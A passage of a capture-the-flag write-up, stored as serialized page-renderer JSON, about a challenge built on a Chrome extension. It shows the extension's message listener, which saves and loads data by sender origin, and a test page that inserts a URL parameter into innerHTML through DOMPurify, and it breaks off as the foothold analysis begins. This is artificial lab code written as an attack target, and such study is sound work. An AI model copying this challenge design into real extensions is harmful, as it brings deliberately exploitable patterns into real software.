});\n",{"type":32,"tag":83,"props":2381,"children":2382},{"class":85,"line":526},[2383],{"type":32,"tag":83,"props":2384,"children":2385},{"style":96},[2386],{"type":37,"value":1453},{"type":32,"tag":83,"props":2388,"children":2389},{"class":85,"line":538},[2390],{"type":32,"tag":83,"props":2391,"children":2392},{"emptyLinePlaceholder":123},[2393],{"type":37,"value":126},{"type":32,"tag":83,"props":2395,"children":2396},{"class":85,"line":548},[2397,2402,2406,2411,2415,2420,2424,2429,2433,2438,2442,2447,2451,2456,2460,2464],{"type":32,"tag":83,"props":2398,"children":2399},{"style":1627},[2400],{"type":37,"value":2401},"chrome",{"type":32,"tag":83,"props":2403,"children":2404},{"style":96},[2405],{"type":37,"value":627},{"type":32,"tag":83,"props":2407,"children":2408},{"style":1627},[2409],{"type":37,"value":2410},"runtime",{"type":32,"tag":83,"props":2412,"children":2413},{"style":96},[2414],{"type":37,"value":627},{"type":32,"tag":83,"props":2416,"children":2417},{"style":1627},[2418],{"type":37,"value":2419},"onMessage",{"type":32,"tag":83,"props":2421,"children":2422},{"style":96},[2423],{"type":37,"value":627},{"type":32,"tag":83,"props":2425,"children":2426},{"style":1616},[2427],{"type":37,"value":2428},"addListener",{"type":32,"tag":83,"props":2430,"children":2431},{"style":96},[2432],{"type":37,"value":1682},{"type":32,"tag":83,"props":2434,"children":2435},{"style":1627},[2436],{"type":37,"value":2437},"request",{"type":32,"tag":83,"props":2439,"children":2440},{"style":96},[2441],{"type":37,"value":1635},{"type":32,"tag":83,"props":2443,"children":2444},{"style":1627},[2445],{"type":37,"value":2446}," sender",{"type":32,"tag":83,"props":2448,"children":2449},{"style":96},[2450],{"type":37,"value":1635},{"type":32,"tag":83,"props":2452,"children":2453},{"style":1627},[2454],{"type":37,"value":2455}," sendResponse",{"type":32,"tag":83,"props":2457,"children":2458},{"style":96},[2459],{"type":37,"value":1654},{"type":32,"tag":83,"props":2461,"children":2462},{"style":96},[2463],{"type":37,"value":1705},{"type":32,"tag":83,"props":2465,"children":2466},{"style":96},[2467],{"type":37,"value":875},{"type":32,"tag":83,"props":2469,"children":2470},{"class":85,"line":557},[2471,2476,2480,2484,2489,2493,2497],{"type":32,"tag":83,"props":2472,"children":2473},{"style":1610},[2474],{"type":37,"value":2475},"  new",{"type":32,"tag":83,"props":2477,"children":2478},{"style":90},[2479],{"type":37,"value":1677},{"type":32,"tag":83,"props":2481,"children":2482},{"style":96},[2483],{"type":37,"value":1624},{"type":32,"tag":83,"props":2485,"children":2486},{"style":1610},[2487],{"type":37,"value":2488},"async",{"type":32,"tag":83,"props":2490,"children":2491},{"style":96},[2492],{"type":37,"value":1879},{"type":32,"tag":83,"props":2494,"children":2495},{"style":96},[2496],{"type":37,"value":1705},{"type":32,"tag":83,"props":2498,"children":2499},{"style":96},[2500],{"type":37,"value":875},{"type":32,"tag":83,"props":2502,"children":2503},{"class":85,"line":566},[2504,2509,2514,2518,2522,2527,2531,2536,2540,2545,2549,2554,2559,2563,2567,2571,2575,2580,2585,2590],{"type":32,"tag":83,"props":2505,"children":2506},{"style":1610},[2507],{"type":37,"value":2508},"    const",{"type":32,"tag":83,"props":2510,"children":2511},{"style":1627},[2512],{"type":37,"value":2513}," sender_origin",{"type":32,"tag":83,"props":2515,"children":2516},{"style":96},[2517],{"type":37,"value":1722},{"type":32,"tag":83,"props":2519,"children":2520},{"style":1610},[2521],{"type":37,"value":1672},{"type":32,"tag":83,"props":2523,"children":2524},{"style":1616},[2525],{"type":37,"value":2526}," URL",{"type":32,"tag":83,"props":2528,"children":2529},{"style":96},[2530],{"type":37,"value":1624},{"type":32,"tag":83,"props":2532,"children":2533},{"style":1627},[2534],{"type":37,"value":2535},"sender",{"type":32,"tag":83,"props":2537,"children":2538},{"style":96},[2539],{"type":37,"value":627},{"type":32,"tag":83,"props":2541,"children":2542},{"style":1627},[2543],{"type":37,"value":2544},"tab",{"type":32,"tag":83,"props":2546,"children":2547},{"style":96},[2548],{"type":37,"value":627},{"type":32,"tag":83,"props":2550,"children":2551},{"style":1627},[2552],{"type":37,"value":2553},"pendingUrl",{"type":32,"tag":83,"props":2555,"children":2556},{"style":1610},[2557],{"type":37,"value":2558}," ??",{"type":32,"tag":83,"props":2560,"children":2561},{"style":1627},[2562],{"type":37,"value":2446},{"type":32,"tag":83,"props":2564,"children":2565},{"style":96},[2566],{"type":37,"value":627},{"type":32,"tag":83,"props":2568,"children":2569},{"style":1627},[2570],{"type":37,"value":2544},{"type":32,"tag":83,"props":2572,"children":2573},{"style":96},[2574],{"type":37,"value":627},{"type":32,"tag":83,"props":2576,"children":2577},{"style":1627},[2578],{"type":37,"value":2579},"url",{"type":32,"tag":83,"props":2581,"children":2582},{"style":96},[2583],{"type":37,"value":2584},").",{"type":32,"tag":83,"props":2586,"children":2587},{"style":1627},[2588],{"type":37,"value":2589},"origin",{"type":32,"tag":83,"props":2591,"children":2592},{"style":96},[2593],{"type":37,"value":1558},{"type":32,"tag":83,"props":2595,"children":2596},{"class":85,"line":574},[2597,2601,2605,2609,2613,2617,2622,2626,2630,2634],{"type":32,"tag":83,"props":2598,"children":2599},{"style":1627},[2600],{"type":37,"value":1765},{"type":32,"tag":83,"props":2602,"children":2603},{"style":96},[2604],{"type":37,"value":627},{"type":32,"tag":83,"props":2606,"children":2607},{"style":1616},[2608],{"type":37,"value":1774},{"type":32,"tag":83,"props":2610,"children":2611},{"style":96},[2612],{"type":37,"value":1624},{"type":32,"tag":83,"props":2614,"children":2615},{"style":102},[2616],{"type":37,"value":688},{"type":32,"tag":83,"props":2618,"children":2619},{"style":108},[2620],{"type":37,"value":2621},"Sender Origin: ",{"type":32,"tag":83,"props":2623,"children":2624},{"style":102},[2625],{"type":37,"value":688},{"type":32,"tag":83,"props":2627,"children":2628},{"style":96},[2629],{"type":37,"value":1635},{"type":32,"tag":83,"props":2631,"children":2632},{"style":1627},[2633],{"type":37,"value":2513},{"type":32,"tag":83,"props":2635,"children":2636},{"style":96},[2637],{"type":37,"value":1812},{"type":32,"tag":83,"props":2639,"children":2640},{"class":85,"line":587},[2641,2645,2649,2653,2657,2661,2666,2670,2674,2679],{"type":32,"tag":83,"props":2642,"children":2643},{"style":1627},[2644],{"type":37,"value":1765},{"type":32,"tag":83,"props":2646,"children":2647},{"style":96},[2648],{"type":37,"value":627},{"type":32,"tag":83,"props":2650,"children":2651},{"style":1616},[2652],{"type":37,"value":1774},{"type":32,"tag":83,"props":2654,"children":2655},{"style":96},[2656],{"type":37,"value":1624},{"type":32,"tag":83,"props":2658,"children":2659},{"style":102},[2660],{"type":37,"value":688},{"type":32,"tag":83,"props":2662,"children":2663},{"style":108},[2664],{"type":37,"value":2665},"Request: ",{"type":32,"tag":83,"props":2667,"children":2668},{"style":102},[2669],{"type":37,"value":688},{"type":32,"tag":83,"props":2671,"children":2672},{"style":96},[2673],{"type":37,"value":1635},{"type":32,"tag":83,"props":2675,"children":2676},{"style":1627},[2677],{"type":37,"value":2678}," request",{"type":32,"tag":83,"props":2680,"children":2681},{"style":96},[2682],{"type":37,"value":1812},{"type":32,"tag":83,"props":2684,"children":2686},{"class":85,"line":2685},36,[2687,2692,2696,2700,2704,2709,2713,2717,2722,2726,2730],{"type":32,"tag":83,"props":2688,"children":2689},{"style":1664},[2690],{"type":37,"value":2691},"    if",{"type":32,"tag":83,"props":2693,"children":2694},{"style":96},[2695],{"type":37,"value":2187},{"type":32,"tag":83,"props":2697,"children":2698},{"style":1627},[2699],{"type":37,"value":2437},{"type":32,"tag":83,"props":2701,"children":2702},{"style":96},[2703],{"type":37,"value":627},{"type":32,"tag":83,"props":2705,"children":2706},{"style":1627},[2707],{"type":37,"value":2708},"type",{"type":32,"tag":83,"props":2710,"children":2711},{"style":1610},[2712],{"type":37,"value":2218},{"type":32,"tag":83,"props":2714,"children":2715},{"style":102},[2716],{"type":37,"value":727},{"type":32,"tag":83,"props":2718,"children":2719},{"style":108},[2720],{"type":37,"value":2721},"SAVE",{"type":32,"tag":83,"props":2723,"children":2724},{"style":102},[2725],{"type":37,"value":688},{"type":32,"tag":83,"props":2727,"children":2728},{"style":96},[2729],{"type":37,"value":1654},{"type":32,"tag":83,"props":2731,"children":2732},{"style":96},[2733],{"type":37,"value":875},{"type":32,"tag":83,"props":2735,"children":2737},{"class":85,"line":2736},37,[2738,2743,2747,2751,2755,2760,2764,2768,2772,2776,2780,2784,2788,2793,2797,2801],{"type":32,"tag":83,"props":2739,"children":2740},{"style":1616},[2741],{"type":37,"value":2742},"      save",{"type":32,"tag":83,"props":2744,"children":2745},{"style":96},[2746],{"type":37,"value":1624},{"type":32,"tag":83,"props":2748,"children":2749},{"style":1627},[2750],{"type":37,"value":2437},{"type":32,"tag":83,"props":2752,"children":2753},{"style":96},[2754],{"type":37,"value":627},{"type":32,"tag":83,"props":2756,"children":2757},{"style":1627},[2758],{"type":37,"value":2759},"payload",{"type":32,"tag":83,"props":2761,"children":2762},{"style":96},[2763],{"type":37,"value":627},{"type":32,"tag":83,"props":2765,"children":2766},{"style":1627},[2767],{"type":37,"value":1630},{"type":32,"tag":83,"props":2769,"children":2770},{"style":96},[2771],{"type":37,"value":1635},{"type":32,"tag":83,"props":2773,"children":2774},{"style":1627},[2775],{"type":37,"value":2678},{"type":32,"tag":83,"props":2777,"children":2778},{"style":96},[2779],{"type":37,"value":627},{"type":32,"tag":83,"props":2781,"children":2782},{"style":1627},[2783],{"type":37,"value":2759},{"type":32,"tag":83,"props":2785,"children":2786},{"style":96},[2787],{"type":37,"value":627},{"type":32,"tag":83,"props":2789,"children":2790},{"style":1627},[2791],{"type":37,"value":2792},"value",{"type":32,"tag":83,"props":2794,"children":2795},{"style":96},[2796],{"type":37,"value":1635},{"type":32,"tag":83,"props":2798,"children":2799},{"style":1627},[2800],{"type":37,"value":2513},{"type":32,"tag":83,"props":2802,"children":2803},{"style":96},[2804],{"type":37,"value":2805},")\n",{"type":32,"tag":83,"props":2807,"children":2809},{"class":85,"line":2808},38,[2810,2815,2820,2824,2829,2833,2837,2841,2845],{"type":32,"tag":83,"props":2811,"children":2812},{"style":96},[2813],{"type":37,"value":2814},"        .",{"type":32,"tag":83,"props":2816,"children":2817},{"style":1616},[2818],{"type":37,"value":2819},"then",{"type":32,"tag":83,"props":2821,"children":2822},{"style":96},[2823],{"type":37,"value":1624},{"type":32,"tag":83,"props":2825,"children":2826},{"style":1627},[2827],{"type":37,"value":2828},"response",{"type":32,"tag":83,"props":2830,"children":2831},{"style":96},[2832],{"type":37,"value":1705},{"type":32,"tag":83,"props":2834,"children":2835},{"style":1616},[2836],{"type":37,"value":2455},{"type":32,"tag":83,"props":2838,"children":2839},{"style":96},[2840],{"type":37,"value":1624},{"type":32,"tag":83,"props":2842,"children":2843},{"style":1627},[2844],{"type":37,"value":2828},{"type":32,"tag":83,"props":2846,"children":2847},{"style":96},[2848],{"type":37,"value":2849},"))\n",{"type":32,"tag":83,"props":2851,"children":2853},{"class":85,"line":2852},39,[2854,2858,2863,2867,2872,2876,2880,2884,2889],{"type":32,"tag":83,"props":2855,"children":2856},{"style":96},[2857],{"type":37,"value":2814},{"type":32,"tag":83,"props":2859,"children":2860},{"style":1616},[2861],{"type":37,"value":2862},"catch",{"type":32,"tag":83,"props":2864,"children":2865},{"style":96},[2866],{"type":37,"value":1624},{"type":32,"tag":83,"props":2868,"children":2869},{"style":1627},[2870],{"type":37,"value":2871},"error",{"type":32,"tag":83,"props":2873,"children":2874},{"style":96},[2875],{"type":37,"value":1705},{"type":32,"tag":83,"props":2877,"children":2878},{"style":1616},[2879],{"type":37,"value":2455},{"type":32,"tag":83,"props":2881,"children":2882},{"style":96},[2883],{"type":37,"value":1851},{"type":32,"tag":83,"props":2885,"children":2886},{"style":1627},[2887],{"type":37,"value":2888}," error",{"type":32,"tag":83,"props":2890,"children":2891},{"style":96},[2892],{"type":37,"value":2893}," }));\n",{"type":32,"tag":83,"props":2895,"children":2897},{"class":85,"line":2896},40,[2898,2903,2908,2913,2917,2921,2925,2929,2933,2937,2942,2946,2950],{"type":32,"tag":83,"props":2899,"children":2900},{"style":96},[2901],{"type":37,"value":2902},"    }",{"type":32,"tag":83,"props":2904,"children":2905},{"style":1664},[2906],{"type":37,"value":2907}," else",{"type":32,"tag":83,"props":2909,"children":2910},{"style":1664},[2911],{"type":37,"value":2912}," if",{"type":32,"tag":83,"props":2914,"children":2915},{"style":96},[2916],{"type":37,"value":2187},{"type":32,"tag":83,"props":2918,"children":2919},{"style":1627},[2920],{"type":37,"value":2437},{"type":32,"tag":83,"props":2922,"children":2923},{"style":96},[2924],{"type":37,"value":627},{"type":32,"tag":83,"props":2926,"children":2927},{"style":1627},[2928],{"type":37,"value":2708},{"type":32,"tag":83,"props":2930,"children":2931},{"style":1610},[2932],{"type":37,"value":2218},{"type":32,"tag":83,"props":2934,"children":2935},{"style":102},[2936],{"type":37,"value":727},{"type":32,"tag":83,"props":2938,"children":2939},{"style":108},[2940],{"type":37,"value":2941},"LOAD",{"type":32,"tag":83,"props":2943,"children":2944},{"style":102},[2945],{"type":37,"value":688},{"type":32,"tag":83,"props":2947,"children":2948},{"style":96},[2949],{"type":37,"value":1654},{"type":32,"tag":83,"props":2951,"children":2952},{"style":96},[2953],{"type":37,"value":875},{"type":32,"tag":83,"props":2955,"children":2957},{"class":85,"line":2956},41,[2958,2963,2967,2971,2975,2979,2983,2987,2991,2995],{"type":32,"tag":83,"props":2959,"children":2960},{"style":1616},[2961],{"type":37,"value":2962},"      load",{"type":32,"tag":83,"props":2964,"children":2965},{"style":96},[2966],{"type":37,"value":1624},{"type":32,"tag":83,"props":2968,"children":2969},{"style":1627},[2970],{"type":37,"value":2437},{"type":32,"tag":83,"props":2972,"children":2973},{"style":96},[2974],{"type":37,"value":627},{"type":32,"tag":83,"props":2976,"children":2977},{"style":1627},[2978],{"type":37,"value":2759},{"type":32,"tag":83,"props":2980,"children":2981},{"style":96},[2982],{"type":37,"value":627},{"type":32,"tag":83,"props":2984,"children":2985},{"style":1627},[2986],{"type":37,"value":1630},{"type":32,"tag":83,"props":2988,"children":2989},{"style":96},[2990],{"type":37,"value":1635},{"type":32,"tag":83,"props":2992,"children":2993},{"style":1627},[2994],{"type":37,"value":2513},{"type":32,"tag":83,"props":2996,"children":2997},{"style":96},[2998],{"type":37,"value":2805},{"type":32,"tag":83,"props":3000,"children":3002},{"class":85,"line":3001},42,[3003,3007,3011,3015,3019,3023,3027,3031,3035],{"type":32,"tag":83,"props":3004,"children":3005},{"style":96},[3006],{"type":37,"value":2814},{"type":32,"tag":83,"props":3008,"children":3009},{"style":1616},[3010],{"type":37,"value":2819},{"type":32,"tag":83,"props":3012,"children":3013},{"style":96},[3014],{"type":37,"value":1624},{"type":32,"tag":83,"props":3016,"children":3017},{"style":1627},[3018],{"type":37,"value":2828},{"type":32,"tag":83,"props":3020,"children":3021},{"style":96},[3022],{"type":37,"value":1705},{"type":32,"tag":83,"props":3024,"children":3025},{"style":1616},[3026],{"type":37,"value":2455},{"type":32,"tag":83,"props":3028,"children":3029},{"style":96},[3030],{"type":37,"value":1624},{"type":32,"tag":83,"props":3032,"children":3033},{"style":1627},[3034],{"type":37,"value":2828},{"type":32,"tag":83,"props":3036,"children":3037},{"style":96},[3038],{"type":37,"value":2849},{"type":32,"tag":83,"props":3040,"children":3042},{"class":85,"line":3041},43,[3043,3047,3051,3055,3059,3063,3067,3071,3075],{"type":32,"tag":83,"props":3044,"children":3045},{"style":96},[3046],{"type":37,"value":2814},{"type":32,"tag":83,"props":3048,"children":3049},{"style":1616},[3050],{"type":37,"value":2862},{"type":32,"tag":83,"props":3052,"children":3053},{"style":96},[3054],{"type":37,"value":1624},{"type":32,"tag":83,"props":3056,"children":3057},{"style":1627},[3058],{"type":37,"value":2871},{"type":32,"tag":83,"props":3060,"children":3061},{"style":96},[3062],{"type":37,"value":1705},{"type":32,"tag":83,"props":3064,"children":3065},{"style":1616},[3066],{"type":37,"value":2455},{"type":32,"tag":83,"props":3068,"children":3069},{"style":96},[3070],{"type":37,"value":1851},{"type":32,"tag":83,"props":3072,"children":3073},{"style":1627},[3074],{"type":37,"value":2888},{"type":32,"tag":83,"props":3076,"children":3077},{"style":96},[3078],{"type":37,"value":2893},{"type":32,"tag":83,"props":3080,"children":3082},{"class":85,"line":3081},44,[3083],{"type":32,"tag":83,"props":3084,"children":3085},{"style":96},[3086],{"type":37,"value":1437},{"type":32,"tag":83,"props":3088,"children":3090},{"class":85,"line":3089},45,[3091],{"type":32,"tag":83,"props":3092,"children":3093},{"style":96},[3094],{"type":37,"value":1942},{"type":32,"tag":83,"props":3096,"children":3098},{"class":85,"line":3097},46,[3099,3103,3108],{"type":32,"tag":83,"props":3100,"children":3101},{"style":1664},[3102],{"type":37,"value":1667},{"type":32,"tag":83,"props":3104,"children":3105},{"style":1664},[3106],{"type":37,"value":3107}," true",{"type":32,"tag":83,"props":3109,"children":3110},{"style":96},[3111],{"type":37,"value":1558},{"type":32,"tag":83,"props":3113,"children":3115},{"class":85,"line":3114},47,[3116],{"type":32,"tag":83,"props":3117,"children":3118},{"style":96},[3119],{"type":37,"value":3120},"});\n",{"type":32,"tag":46,"props":3122,"children":3123},{},[3124,3126,3132],{"type":37,"value":3125},"We can see the call to the function ",{"type":32,"tag":79,"props":3127,"children":3129},{"className":3128},[],[3130],{"type":37,"value":3131},"chrome.runtime.onMessage.addListener",{"type":37,"value":3133}," which will listen for received events.",{"type":32,"tag":46,"props":3135,"children":3136},{},[3137,3139,3144,3146,3151],{"type":37,"value":3138},"Depending on the event ",{"type":32,"tag":79,"props":3140,"children":3142},{"className":3141},[],[3143],{"type":37,"value":2721},{"type":37,"value":3145}," or ",{"type":32,"tag":79,"props":3147,"children":3149},{"className":3148},[],[3150],{"type":37,"value":2941},{"type":37,"value":3152},", we will have different processes.",{"type":32,"tag":634,"props":3154,"children":3156},{"id":3155},"chrome-api",[3157],{"type":37,"value":3158},"Chrome API",{"type":32,"tag":46,"props":3160,"children":3161},{},[3162],{"type":37,"value":3163},"Chrome extensions (and most other modern browser extensions) use the WebExtensions API, a standardized API that gives access to browser tabs, cookies, history, storage, and more.",{"type":32,"tag":46,"props":3165,"children":3166},{},[3167],{"type":37,"value":3168},"As you saw in the previous chapter, we can see the call to the chrome object in the background script, which will interact with Chrome's cache using chrome.storage.local.",{"type":32,"tag":39,"props":3170,"children":3172},{"id":3171},"foothold-and-defintion-of-the-assets",[3173],{"type":37,"value":3174},"FootHold and defintion of the assets",{"type":32,"tag":3176,"props":3177,"children":3179},"h3",{"id":3178},"web-service",[3180],{"type":37,"value":3181},"Web service:",{"type":32,"tag":46,"props":3183,"children":3184},{},[3185],{"type":37,"value":3186},"The web service is a simple page with a text input and a display below.",{"type":32,"tag":57,"props":3188,"children":3191},{"imgSrc":3189,":width":3190},"https://res.cloudinary.com/dmju5zuhr/image/upload/v1731266140/writeups/shikanoko/webapp_chrome.webp","450",[],{"type":32,"tag":68,"props":3193,"children":3195},{"lang":3194},"html",[3196],{"type":32,"tag":73,"props":3197,"children":3200},{"className":3198,"code":3199,"language":3194,"meta":7,"style":7},"language-html shiki shiki-themes vitesse-dark","\u003C!DOCTYPE html>\n\u003Chtml lang=\"en\">\n\n\u003Chead>\n    \u003Cmeta charset=\"UTF-8\">\n    \u003Cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    \u003Ctitle>Shinanoko Website\u003C/title>\n\u003C/head>\n\n\u003Cbody>\n    \u003Ch1>Berotak Nokotan\u003C/h1>\n    \u003Cform action=\"/\">\n        \u003Cinput type=\"text\" name=\"html\" placeholder=\"Enter HTML content\">\n        \u003Cinput type=\"submit\">\n    \u003C/form>\n\n    \u003Cdiv class=\"output\">\u003C/div>\n    \u003Cscript src=\"https://unpkg.com/dompurify@latest/dist/purify.min.js\">\u003C/script>\n    \u003Cscript>\n        const url = new URL(location.href);\n        const html = url.searchParams.get('html');\n        if (html) {\n            document.querySelector('.output').innerHTML = DOMPurify.sanitize(html);\n        }\n    \u003C/script>\n\u003C/body>\n\n\u003C/html>\n\n",[3201],{"type":32,"tag":79,"props":3202,"children":3203},{"__ignoreMap":7},[3204,3227,3266,3273,3289,3328,3387,3423,3438,3445,3461,3493,3531,3611,3647,3663,3670,3717,3763,3778,3825,3881,3905,3978,3986,4001,4016,4023],{"type":32,"tag":83,"props":3205,"children":3206},{"class":85,"line":86},[3207,3212,3217,3222],{"type":32,"tag":83,"props":3208,"children":3209},{"style":96},[3210],{"type":37,"value":3211},"\u003C!",{"type":32,"tag":83,"props":3213,"children":3214},{"style":1664},[3215],{"type":37,"value":3216},"DOCTYPE",{"type":32,"tag":83,"props":3218,"children":3219},{"style":1627},[3220],{"type":37,"value":3221}," html",{"type":32,"tag":83,"props":3223,"children":3224},{"style":96},[3225],{"type":37,"value":3226},">\n",{"type":32,"tag":83,"props":3228,"children":3229},{"class":85,"line":119},[3230,3235,3239,3244,3249,3253,3258,3262],{"type":32,"tag":83,"props":3231,"children":3232},{"style":96},[3233],{"type":37,"value":3234},"\u003C",{"type":32,"tag":83,"props":3236,"children":3237},{"style":1664},[3238],{"type":37,"value":3194},{"type":32,"tag":83,"props":3240,"children":3241},{"style":1627},[3242],{"type":37,"value":3243}," lang",{"type":32,"tag":83,"props":3245,"children":3246},{"style":96},[3247],{"type":37,"value":3248},"=",{"type":32,"tag":83,"props":3250,"children":3251},{"style":102},[3252],{"type":37,"value":688},{"type":32,"tag":83,"props":3254,"children":3255},{"style":108},[3256],{"type":37,"value":3257},"en",{"type":32,"tag":83,"props":3259,"children":3260},{"style":102},[3261],{"type":37,"value":688},{"type":32,"tag":83,"props":3263,"children":3264},{"style":96},[3265],{"type":37,"value":3226},{"type":32,"tag":83,"props":3267,"children":3268},{"class":85,"line":129},[3269],{"type":32,"tag":83,"props":3270,"children":3271},{"emptyLinePlaceholder":123},[3272],{"type":37,"value":126},{"type":32,"tag":83,"props":3274,"children":3275},{"class":85,"line":143},[3276,3280,3285],{"type":32,"tag":83,"props":3277,"children":3278},{"style":96},[3279],{"type":37,"value":3234},{"type":32,"tag":83,"props":3281,"children":3282},{"style":1664},[3283],{"type":37,"value":3284},"head",{"type":32,"tag":83,"props":3286,"children":3287},{"style":96},[3288],{"type":37,"value":3226},{"type":32,"tag":83,"props":3290,"children":3291},{"class":85,"line":156},[3292,3297,3302,3307,3311,3315,3320,3324],{"type":32,"tag":83,"props":3293,"children":3294},{"style":96},[3295],{"type":37,"value":3296},"    \u003C",{"type":32,"tag":83,"props":3298,"children":3299},{"style":1664},[3300],{"type":37,"value":3301},"meta",{"type":32,"tag":83,"props":3303,"children":3304},{"style":1627},[3305],{"type":37,"value":3306}," charset",{"type":32,"tag":83,"props":3308,"children":3309},{"style":96},[3310],{"type":37,"value":3248},{"type":32,"tag":83,"props":3312,"children":3313},{"style":102},[3314],{"type":37,"value":688},{"type":32,"tag":83,"props":3316,"children":3317},{"style":108},[3318],{"type":37,"value":3319},"UTF-8",{"type":32,"tag":83,"props":3321,"children":3322},{"style":102},[3323],{"type":37,"value":688},{"type":32,"tag":83,"props":3325,"children":3326},{"style":96},[3327],{"type":37,"value":3226},{"type":32,"tag":83,"props":3329,"children":3330},{"class":85,"line":174},[3331,3335,3339,3344,3348,3352,3357,3361,3366,3370,3374,3379,3383],{"type":32,"tag":83,"props":3332,"children":3333},{"style":96},[3334],{"type":37,"value":3296},{"type":32,"tag":83,"props":3336,"children":3337},{"style":1664},[3338],{"type":37,"value":3301},{"type":32,"tag":83,"props":3340,"children":3341},{"style":1627},[3342],{"type":37,"value":3343}," name",{"type":32,"tag":83,"props":3345,"children":3346},{"style":96},[3347],{"type":37,"value":3248},{"type":32,"tag":83,"props":3349,"children":3350},{"style":102},[3351],{"type":37,"value":688},{"type":32,"tag":83,"props":3353,"children":3354},{"style":108},[3355],{"type":37,"value":3356},"viewport",{"type":32,"tag":83,"props":3358,"children":3359},{"style":102},[3360],{"type":37,"value":688},{"type":32,"tag":83,"props":3362,"children":3363},{"style":1627},[3364],{"type":37,"value":3365}," content",{"type":32,"tag":83,"props":3367,"children":3368},{"style":96},[3369],{"type":37,"value":3248},{"type":32,"tag":83,"props":3371,"children":3372},{"style":102},[3373],{"type":37,"value":688},{"type":32,"tag":83,"props":3375,"children":3376},{"style":108},[3377],{"type":37,"value":3378},"width=device-width, initial-scale=1.0",{"type":32,"tag":83,"props":3380,"children":3381},{"style":102},[3382],{"type":37,"value":688},{"type":32,"tag":83,"props":3384,"children":3385},{"style":96},[3386],{"type":37,"value":3226},{"type":32,"tag":83,"props":3388,"children":3389},{"class":85,"line":192},[3390,3394,3399,3404,3410,3415,3419],{"type":32,"tag":83,"props":3391,"children":3392},{"style":96},[3393],{"type":37,"value":3296},{"type":32,"tag":83,"props":3395,"children":3396},{"style":1664},[3397],{"type":37,"value":3398},"title",{"type":32,"tag":83,"props":3400,"children":3401},{"style":96},[3402],{"type":37,"value":3403},">",{"type":32,"tag":83,"props":3405,"children":3407},{"style":3406},"--shiki-default:#DBD7CAEE",[3408],{"type":37,"value":3409},"Shinanoko Website",{"type":32,"tag":83,"props":3411,"children":3412},{"style":96},[3413],{"type":37,"value":3414},"\u003C/",{"type":32,"tag":83,"props":3416,"children":3417},{"style":1664},[3418],{"type":37,"value":3398},{"type":32,"tag":83,"props":3420,"children":3421},{"style":96},[3422],{"type":37,"value":3226},{"type":32,"tag":83,"props":3424,"children":3425},{"class":85,"line":205},[3426,3430,3434],{"type":32,"tag":83,"props":3427,"children":3428},{"style":96},[3429],{"type":37,"value":3414},{"type":32,"tag":83,"props":3431,"children":3432},{"style":1664},[3433],{"type":37,"value":3284},{"type":32,"tag":83,"props":3435,"children":3436},{"style":96},[3437],{"type":37,"value":3226},{"type":32,"tag":83,"props":3439,"children":3440},{"class":85,"line":219},[3441],{"type":32,"tag":83,"props":3442,"children":3443},{"emptyLinePlaceholder":123},[3444],{"type":37,"value":126},{"type":32,"tag":83,"props":3446,"children":3447},{"class":85,"line":232},[3448,3452,3457],{"type":32,"tag":83,"props":3449,"children":3450},{"style":96},[3451],{"type":37,"value":3234},{"type":32,"tag":83,"props":3453,"children":3454},{"style":1664},[3455],{"type":37,"value":3456},"body",{"type":32,"tag":83,"props":3458,"children":3459},{"style":96},[3460],{"type":37,"value":3226},{"type":32,"tag":83,"props":3462,"children":3463},{"class":85,"line":245},[3464,3468,3472,3476,3481,3485,3489],{"type":32,"tag":83,"props":3465,"children":3466},{"style":96},[3467],{"type":37,"value":3296},{"type":32,"tag":83,"props":3469,"children":3470},{"style":1664},[3471],{"type":37,"value":33},{"type":32,"tag":83,"props":3473,"children":3474},{"style":96},[3475],{"type":37,"value":3403},{"type":32,"tag":83,"props":3477,"children":3478},{"style":3406},[3479],{"type":37,"value":3480},"Berotak Nokotan",{"type":32,"tag":83,"props":3482,"children":3483},{"style":96},[3484],{"type":37,"value":3414},{"type":32,"tag":83,"props":3486,"children":3487},{"style":1664},[3488],{"type":37,"value":33},{"type":32,"tag":83,"props":3490,"children":3491},{"style":96},[3492],{"type":37,"value":3226},{"type":32,"tag":83,"props":3494,"children":3495},{"class":85,"line":258},[3496,3500,3505,3510,3514,3518,3523,3527],{"type":32,"tag":83,"props":3497,"children":3498},{"style":96},[3499],{"type":37,"value":3296},{"type":32,"tag":83,"props":3501,"children":3502},{"style":1664},[3503],{"type":37,"value":3504},"form",{"type":32,"tag":83,"props":3506,"children":3507},{"style":1627},[3508],{"type":37,"value":3509}," action",{"type":32,"tag":83,"props":3511,"children":3512},{"style":96},[3513],{"type":37,"value":3248},{"type":32,"tag":83,"props":3515,"children":3516},{"style":102},[3517],{"type":37,"value":688},{"type":32,"tag":83,"props":3519,"children":3520},{"style":108},[3521],{"type":37,"value":3522},"/",{"type":32,"tag":83,"props":3524,"children":3525},{"style":102},[3526],{"type":37,"value":688},{"type":32,"tag":83,"props":3528,"children":3529},{"style":96},[3530],{"type":37,"value":3226},{"type":32,"tag":83,"props":3532,"children":3533},{"class":85,"line":271},[3534,3539,3544,3549,3553,3557,3561,3565,3569,3573,3577,3581,3585,3590,3594,3598,3603,3607],{"type":32,"tag":83,"props":3535,"children":3536},{"style":96},[3537],{"type":37,"value":3538},"        \u003C",{"type":32,"tag":83,"props":3540,"children":3541},{"style":1664},[3542],{"type":37,"value":3543},"input",{"type":32,"tag":83,"props":3545,"children":3546},{"style":1627},[3547],{"type":37,"value":3548}," type",{"type":32,"tag":83,"props":3550,"children":3551},{"style":96},[3552],{"type":37,"value":3248},{"type":32,"tag":83,"props":3554,"children":3555},{"style":102},[3556],{"type":37,"value":688},{"type":32,"tag":83,"props":3558,"children":3559},{"style":108},[3560],{"type":37,"value":37},{"type":32,"tag":83,"props":3562,"children":3563},{"style":102},[3564],{"type":37,"value":688},{"type":32,"tag":83,"props":3566,"children":3567},{"style":1627},[3568],{"type":37,"value":3343},{"type":32,"tag":83,"props":3570,"children":3571},{"style":96},[3572],{"type":37,"value":3248},{"type":32,"tag":83,"props":3574,"children":3575},{"style":102},[3576],{"type":37,"value":688},{"type":32,"tag":83,"props":3578,"children":3579},{"style":108},[3580],{"type":37,"value":3194},{"type":32,"tag":83,"props":3582,"children":3583},{"style":102},[3584],{"type":37,"value":688},{"type":32,"tag":83,"props":3586,"children":3587},{"style":1627},[3588],{"type":37,"value":3589}," placeholder",{"type":32,"tag":83,"props":3591,"children":3592},{"style":96},[3593],{"type":37,"value":3248},{"type":32,"tag":83,"props":3595,"children":3596},{"style":102},[3597],{"type":37,"value":688},{"type":32,"tag":83,"props":3599,"children":3600},{"style":108},[3601],{"type":37,"value":3602},"Enter HTML 